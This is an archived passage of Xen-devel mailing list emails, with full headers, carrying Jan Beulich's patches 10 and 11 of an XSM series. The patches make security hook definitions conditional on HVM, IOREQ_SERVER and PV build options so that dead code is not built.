 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nx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JWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1785244628-502E4B50-F1A6BBC9/0/0
X-purgate-type: clean
X-purgate-size: 1847

They're unreachable / dead otherwise.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
Strictly speaking .hvm_param_altp2mhvm() is dependent upon X86=y as well
(but oddly not dependent upon ALTP2M=y).

--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -569,6 +569,8 @@ static XSM_INLINE int cf_check xsm_map_g
     return xsm_default_action(action, d, t);
 }
 
+#ifdef CONFIG_HVM
+
 static XSM_INLINE int cf_check xsm_hvm_param(
     XSM_DEFAULT_ARG struct domain *d, unsigned long op)
 {
@@ -583,6 +585,8 @@ static XSM_INLINE int cf_check xsm_hvm_p
     return xsm_default_action(action, current->domain, d);
 }
 
+#endif /* CONFIG_HVM */
+
 #ifdef CONFIG_ALTP2M
 static XSM_INLINE int cf_check xsm_hvm_altp2mhvm_op(
     XSM_DEFAULT_ARG struct domain *d, uint64_t mode, uint32_t op)
--- a/xen/include/xsm/hooks.h
+++ b/xen/include/xsm/hooks.h
@@ -104,8 +104,10 @@ XSM_HOOK(int, pci_config_permission, str
 XSM_HOOK(int, hypfs_op)
 #endif
 
+#ifdef CONFIG_HVM
 XSM_HOOK(int, hvm_param, struct domain *, unsigned long)
 XSM_HOOK(int, hvm_param_altp2mhvm, struct domain *)
+#endif
 
 #ifdef CONFIG_ALTP2M
 XSM_HOOK(int, hvm_altp2mhvm_op, struct domain *, uint64_t, uint32_t)
--- a/xen/xsm/flask/hooks.c
+++ b/xen/xsm/flask/hooks.c
@@ -1368,6 +1368,8 @@ static int cf_check flask_map_gmfn_forei
     return domain_has_perm(d, t, SECCLASS_MMU, MMU__MAP_READ | MMU__MAP_WRITE);
 }
 
+#ifdef CONFIG_HVM
+
 static int cf_check flask_hvm_param(struct domain *d, unsigned long op)
 {
     uint32_t perm;
@@ -1393,6 +1395,8 @@ static int cf_check flask_hvm_param_altp
     return current_has_perm(d, SECCLASS_HVM, HVM__ALTP2MHVM);
 }
 
+#endif /* CONFIG_HVM */
+
 #ifdef CONFIG_ALTP2M
 static int cf_check flask_hvm_altp2mhvm_op(struct domain *d, uint64_t mode, uint32_t op)
 {



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:17:39 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:17:39 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374087.1621046 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohgh-00078E-Ki; Tue, 28 Jul 2026 13:17:39 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374087.1621046; Tue, 28 Jul 2026 13:17:39 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohgh-000785-Hu; Tue, 28 Jul 2026 13:17:39 +0000
Received: by outflank-mailman (input) for mailman id 1374087;
 Tue, 28 Jul 2026 13:17:37 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohgf-00075g-PF
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:17:37 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohgf-004lo6-5v
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:17:37 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68aba9-2eae-0a2a0a5409dd-0a2a4506d66a-48
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:17:37 +0200
Received: from [209.85.221.53] (helo=mail-wr1-f53.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68abf0-195a-0a2a45060019-d155dd35ec99-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:17:37 +0200
Received: by mail-wr1-f53.google.com with SMTP id
 ffacd0b85a97d-476a130c138so3722768f8f.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:17:37 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f85b9a60asm62190630f8f.3.2026.07.28.06.17.35
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:17:36 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785244656; x=1785849456; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=Fqt4cS55CIS90Qxati5UX2foFynqjLHgo/j+EI9SP4A=;
        b=WESs0aCbS3uL4y8zbzXy7X+qmBRE6tNUCkeCJnCfLcv8vTTDh8Kh1EuyFvgxaazC3d
         AY5swW1wHt2vQVHsHOHJ93b3+5KcHRu1btb99edM7Tgmnlpx1Vgn7PuvUXwp6lCoRRz/
         58FWKesP7xOTfOq1btIcjX80EEFd5fAEpV5ajsXkPJSbi/cq4IpCdqP+EaYK5qK8fD+3
         v4SMPp8uccYtLZqyZbECcOxOQWX/IEjx594dEqG5Iljh1LT+vBuWzGv1a+PeRhxeUR/v
         vNTo6A4+OqlVz0vXfFSvr08fIvWjGXNgw0xb7x88jkJzZD6H5JBwSOPqXtoMHaQgQWH0
         XVCA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785244656; x=1785849456;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=Fqt4cS55CIS90Qxati5UX2foFynqjLHgo/j+EI9SP4A=;
        b=CT5w/nEDR6N8kKgFJ7AbI5+COmI3flO64/qDFnC/7wg9A4APc2XOpmGEzM3M2xKgSh
         VwZ4bOaoDsJk9NfxHNJG0tFSWbV9ycIAlG+X/aJ1g0f8eswT88u10i0FS9+n9h+i0wRR
         kJjP6Zq1k6zjGaEp9AgsOxamY8rw5DA3zYtSgmFEsAkEh9uahTStqpczlc6tRZtpfyBq
         wNzMUJOpaAu6qNRplAdV8nwc9EmxwRjoEYwTiTBQ7eGA77o2yNlHC0TJ/viMQb2AHPfS
         lEpa3nFQ2rxxjTSWD9G3t3T3eMZUwblT80iEognFSWEVy2gRh0fnoQ+N4NOleDAxJ6aI
         Ul+g==
X-Gm-Message-State: AOJu0YxOkVOrT2GbDcJgjRGzxF+SokzzQxTlBDPcZfckxRDFz332vGNa
	r4bFgnKBeBJ4PzFF1k18B1FcRfMJPGYUUsM2YMsNcXsULmjsE7bhEkDtBi2ceecxziwr8vSxCya
	psroX4A==
X-Gm-Gg: AR+sD137tPt/qhFMtseR+QBlTXEUpk6iZs3Qp37Js0wbRggC9iqTiuRa5zL3n8KO0CL
	ELqcMvpFrNtEkMIxT7i5yj1mvaKUHRbhkP2LEH+ozeh1M4aWmUmEW77bRU+7qs4yy/3cWulpeR7
	CyV2RizRDSRBMmWPrkl/hGXb+TdI6R41L84I0KVjgdmoneCLAFiCk2lcx3fGEeWkQHIXVfFvmuU
	fIjSMJFkYmNl3ZMzxAO/UqLLeeONe2CrSsw4Gcu6vV1Toc1S4aTRiepriJZJwbmbKUIYUdbPY0e
	1bzrGipczcOHctnVqbmdVbKa1bPcAAjOAP9SGjpzhXiGyIUvWjUleVq46rd2xDbOluvE3dmoxoC
	fP4FDbilaVWTVWatFAVbYu20u+nR5uiNaltj6MtxnH7OvpUft2Sfw17g+6YZOO+7nPVK3K1YiA7
	VIdYjtde/8UYECU+wMSSoyee9VthjO7C49aDV0/5W6QHmYVkzaCZq7BbWCbO/UDx4glQ==
X-Received: by 2002:a05:6000:2505:b0:47f:7c50:2222 with SMTP id ffacd0b85a97d-47fb1e95112mr2749352f8f.24.1785244656639;
        Tue, 28 Jul 2026 06:17:36 -0700 (PDT)
Message-ID: <9ecda750-f0b5-49ad-9f6b-892a045b3b66@suse.com>
Date: Tue, 28 Jul 2026 15:17:35 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 10/24] XSM: make .dm_op() hook dependent upon IOREQ_SERVER=y
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-16d1c6/1785244657-F420077B-B756D22C/0/0
X-purgate-type: clean
X-purgate-size: 1324

It's unreachable / dead otherwise.

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -739,11 +739,13 @@ static XSM_INLINE int cf_check xsm_pmu_o
 
 #endif /* CONFIG_X86 */
 
+#ifdef CONFIG_IOREQ_SERVER
 static XSM_INLINE int cf_check xsm_dm_op(XSM_DEFAULT_ARG struct domain *d)
 {
     XSM_ASSERT_ACTION(XSM_DM_PRIV);
     return xsm_default_action(action, current->domain, d);
 }
+#endif
 
 #ifdef CONFIG_ARGO
 static XSM_INLINE int cf_check xsm_argo_enable(const struct domain *d)
--- a/xen/include/xsm/hooks.h
+++ b/xen/include/xsm/hooks.h
@@ -145,7 +145,10 @@ XSM_HOOK(int, ioport_mapping, struct dom
 XSM_HOOK(int, pmu_op, struct domain *, unsigned int)
 #endif /* CONFIG_X86 */
 
+#ifdef CONFIG_IOREQ_SERVER
 XSM_HOOK(int, dm_op, struct domain *)
+#endif
+
 XSM_HOOK(int, xen_version, uint32_t)
 XSM_HOOK(int, domain_resource_map, struct domain *)
 
--- a/xen/xsm/flask/hooks.c
+++ b/xen/xsm/flask/hooks.c
@@ -1852,10 +1852,12 @@ static int cf_check flask_pmu_op(struct
 }
 #endif /* CONFIG_X86 */
 
+#ifdef CONFIG_IOREQ_SERVER
 static int cf_check flask_dm_op(struct domain *d)
 {
     return current_has_perm(d, SECCLASS_HVM, HVM__DM);
 }
+#endif
 
 static int cf_check flask_xen_version(uint32_t op)
 {



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:18:22 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:18:22 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374094.1621055 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohhM-00084h-TB; Tue, 28 Jul 2026 13:18:20 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374094.1621055; Tue, 28 Jul 2026 13:18:20 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohhM-00084a-QR; Tue, 28 Jul 2026 13:18:20 +0000
Received: by outflank-mailman (input) for mailman id 1374094;
 Tue, 28 Jul 2026 13:18:19 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohhL-00084G-HY
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:18:19 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohhK-004dBz-UT
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:18:18 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ac10-5cb7-0a2a0a5109dd-0a2a4502ad40-14
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:18:18 +0200
Received: from [209.85.128.46] (helo=mail-wm1-f46.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ac1a-6ca4-0a2a45020019-d155802ebc6a-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:18:18 +0200
Received: by mail-wm1-f46.google.com with SMTP id
 5b1f17b1804b1-4921eed3fa2so26958715e9.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:18:18 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4957bffc501sm249084845e9.4.2026.07.28.06.18.16
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:18:17 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785244698; x=1785849498; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=nxDb0HMvwn06ZYeHZ0pZqtFgloktAYyPGQloAKM18rQ=;
        b=XFSDfZL58WYIHJfM7WdmU6NGC515uRDZPVXRYdnNLJg/UddNvpCCdKlJuteSNagL4D
         DZOaab8HEuhI5sIyXr23QefjNlMZMm0cg6wpfYJ+fYCQO6KrNDmmjibleT11K6QWkwJq
         L2Z02IfaKsnwqHxVbVwiuNG4xVFB+HYnxgzrflmuI1gI4llxOTLu14XGmN711SXKOnyT
         uaVw+r6/ptrbSHx2LavMmrwhqcORlNFHSN0tPVp13zANWPAhQNrVOSnfCLoBUIxeZBHu
         mkUCkfR8vDdoD3HGiUHGsbQAj6V3ChYTNiWxM/2Ch86yZiaJTm/vN3wjE7PG6o6x9FU+
         LnDg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785244698; x=1785849498;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=nxDb0HMvwn06ZYeHZ0pZqtFgloktAYyPGQloAKM18rQ=;
        b=OJNr7i5ob0NYk4ox4CAVsQ+J2aMh12g37UqwaA3rSgPmtm+XWsfVvURKFKKKgE9JHw
         ya+AO1VIIt3VnBeTtofJC/XxkuTNPDIOg8JPCV2zV1Ft1BocjFCoj1z/kp1W7ZWtvszW
         Lz5rAsryZXwmWVL3m9IKy00opeBd4Xq2YfVbEadYrdvHNIdJVZg4By/4URzAOUn1NVx7
         6iq27DmM5PJZuJqgVbn/bfHIY3s2KgdqepyfdVHqEIN8k7gStxGV/bPqio/xbHKOCEKE
         kj62kDK8PBmFV5uiQKc1Ufquetos2mPOu20LUJMVkAZt4XGIOKNrrYHTypuC8V3xZCqf
         KtlQ==
X-Gm-Message-State: AOJu0Ywl9FgmljdaA1ed4vquEOOsrJ5mwC38Cn4BUqWx8fxxRfCE/uev
	HGiotGHQMHI7/Cg4wE/T4bRUUqa/7VuhQPFwo8jANUam5jy2LELZ1F54WJDvn5t+eVBUd6AtTcL
	4/DPeZg==
X-Gm-Gg: AR+sD10gfWd6me9exYriKGVhPoospyDI4HZwYZ2u/iehVyTyiaO9MUwF0SqbMAdenX/
	jl44GadUIEyWsD2kf9IVivvypR0+MQ+4YB7m8A6VKhEwhbAAficl0PjBiaDZqibziMpwL+Kv+MM
	xJiCPE+xyDBgihZI9X0c1+KGgRtyAF5Lk2peIRYbWpLufPSTZ4R882WIfXH7TcjYIqaziZ1ZyxG
	dWxcOlyeJpYWIq5RmPbjfW2hDjBz0LbSS0V57SGEpUyXNdj6lq5cGa87SLcwygz7F/Gct3ev7DJ
	u79s50+Sse6yq42Yv+dnAQ2RnWKSnJSrUs3bwJc2rQLgjXbMf5T4oEPWtKKdHL+LMmqayjDu8Pu
	w7Cn0SGogRjVRB+i0Xs+qUahmBeQjX6++mj7UnmlMCMHMmP51K9aK1ayfCDF80psoe8E86ZC8WQ
	HG9hoNDNDgfnRSPuKI+wF+hkRtcSHLZGnpdGk03pQk/S4es2oggu+XQJ5dl/TlcrNC3R9uEUvre
	7Yz
X-Received: by 2002:a05:600c:c8d:b0:493:c8f7:3631 with SMTP id 5b1f17b1804b1-496c6575e33mr23389515e9.22.1785244697722;
        Tue, 28 Jul 2026 06:18:17 -0700 (PDT)
Message-ID: <73257c34-3a86-46a2-b327-f35bff69399d@suse.com>
Date: Tue, 28 Jul 2026 15:18:15 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 11/24] XSM: make certain x86-specific hooks dependent upon
 PV=y
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-720697/1785244698-F22A92AC-9B11C5FA/0/0
X-purgate-type: clean
X-purgate-size: 3194

They're unreachable / dead otherwise.

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -640,11 +640,6 @@ static XSM_INLINE int cf_check xsm_platf
 }
 
 #ifdef CONFIG_X86
-static XSM_INLINE int cf_check xsm_do_mca(XSM_DEFAULT_VOID)
-{
-    XSM_ASSERT_ACTION(XSM_PRIV);
-    return xsm_default_action(action, current->domain, NULL);
-}
 
 static XSM_INLINE int cf_check xsm_mem_sharing_op(
     XSM_DEFAULT_ARG struct domain *d, struct domain *cd, int op)
@@ -673,6 +668,14 @@ static XSM_INLINE int cf_check xsm_domai
     return xsm_default_action(action, current->domain, d);
 }
 
+#ifdef CONFIG_PV
+
+static XSM_INLINE int cf_check xsm_do_mca(XSM_DEFAULT_VOID)
+{
+    XSM_ASSERT_ACTION(XSM_PRIV);
+    return xsm_default_action(action, current->domain, NULL);
+}
+
 static XSM_INLINE int cf_check xsm_mmu_update(
     XSM_DEFAULT_ARG struct domain *d, struct domain *t, struct domain *f,
     uint32_t flags)
@@ -700,6 +703,8 @@ static XSM_INLINE int cf_check xsm_updat
     return xsm_default_action(action, d, f);
 }
 
+#endif /* CONFIG_PV */
+
 static XSM_INLINE int cf_check xsm_priv_mapping(
     XSM_DEFAULT_ARG struct domain *d, struct domain *t)
 {
--- a/xen/include/xsm/hooks.h
+++ b/xen/include/xsm/hooks.h
@@ -131,14 +131,16 @@ XSM_HOOK(int, mem_sharing_op, struct dom
 XSM_HOOK(int, platform_op, uint32_t)
 
 #ifdef CONFIG_X86
-XSM_HOOK(int, do_mca)
 XSM_HOOK(int, apic, struct domain *, int)
 XSM_HOOK(int, machine_memory_map)
 XSM_HOOK(int, domain_memory_map, struct domain *)
+#ifdef CONFIG_PV
+XSM_HOOK(int, do_mca)
 XSM_HOOK(int, mmu_update, struct domain *, struct domain *, struct domain *,
                           uint32_t)
 XSM_HOOK(int, mmuext_op, struct domain *, struct domain *)
 XSM_HOOK(int, update_va_mapping, struct domain *, struct domain *, l1_pgentry_t)
+#endif /* CONFIG_PV */
 XSM_HOOK(int, priv_mapping, struct domain *, struct domain *)
 XSM_HOOK(int, ioport_permission, struct domain *, uint32_t, uint32_t, uint8_t)
 XSM_HOOK(int, ioport_mapping, struct domain *, uint32_t, uint32_t, uint8_t)
--- a/xen/xsm/flask/hooks.c
+++ b/xen/xsm/flask/hooks.c
@@ -1654,10 +1654,6 @@ static int cf_check flask_platform_op(ui
 }
 
 #ifdef CONFIG_X86
-static int cf_check flask_do_mca(void)
-{
-    return domain_has_xen(current->domain, XEN__MCA_OP);
-}
 
 static int flask_shadow_control(struct domain *d, unsigned int op)
 {
